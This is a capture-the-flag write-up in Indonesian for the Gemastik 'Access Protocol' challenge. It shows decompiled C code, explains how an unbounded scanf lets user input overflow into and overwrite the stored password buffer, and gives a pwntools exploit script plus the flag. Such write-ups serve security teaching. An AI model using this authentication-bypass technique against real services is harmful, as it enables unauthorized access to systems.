Access Protocol - 125 Points

nc target.netsec.gemastik.ui.ac.id 60006

POC

Diberikan sebuah binary 64 bit striped yang akan memeriksa authentikasi dengan file password.txt Hasil disassembly fungsi main

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  __int64 result; // rax@4
  __int64 v4; // rdx@4
  char buf; // [sp+7h] [bp-9h]@1
  __int64 v6; // [sp+8h] [bp-8h]@1

  v6 = *MK_FP(__FS__, 40LL);
  buf = 0;
  setvbuf(stdout, &buf, 0, 1uLL);
  if ( (unsigned int)sub_4007C6() )
    puts("Authenticated");
  else
    puts("Wrong Password");
  result = 0LL;
  v4 = *MK_FP(__FS__, 40LL) ^ v6;
  return result;
}

Fungsi sub_4007C6

__int64 sub_4007C6()
{
  FILE *stream; // ST08_8@1
  __int64 result; // rax@1
  __int64 v2; // rcx@1
  char s1; // [sp+10h] [bp-40h]@1
  char ptr; // [sp+20h] [bp-30h]@1
  __int64 v5; // [sp+48h] [bp-8h]@1
  v5 = *MK_FP(__FS__, 40LL);
  stream = fopen("password.txt", "r");
  fread(&ptr, 1uLL, 0x20uLL, stream);
  fclose(stream);
  puts("Gemastik Access Protocol Service\n");
  printf("Password: ", 1LL);
  __isoc99_scanf("%s", &s1);
  result = strcmp(&s1, &ptr) == 0;
  v2 = *MK_FP(__FS__, 40LL) ^ v5;
  return result;
}

Dapat dipastikan binary tersebut vulenrable buffer overflow karena menggunakan fungsi scanf. Tujuan utama nya adalah untuk mengoverwrite nilai pada variable ptr agar sama dengan s1 (inputan user).

Lokasi variable ptr ada di rbp+0x30 dan s1 di rbp+0x40, sehingga jarak nya adalah 16 bytes (0x40-0x30).

Karena strcmp membandingkan karakter 1/1 sampai ‘\x00’, sehingga nilai yang diikirim (16*2)-2

from pwn import *

r = remote("target.netsec.gemastik.ui.ac.id",60006)
payload = "\x90" * 15 + "\x00"
payload += "\x90" * 15

print r.recvuntil(":")
r.send(payload+chr(0x0a))

print r.recv()
print r.recv()
print r.recv()

Flag: GEMASTIK{__bypassing_auth_like_a_1337_*}

results matching ""

    No results matching ""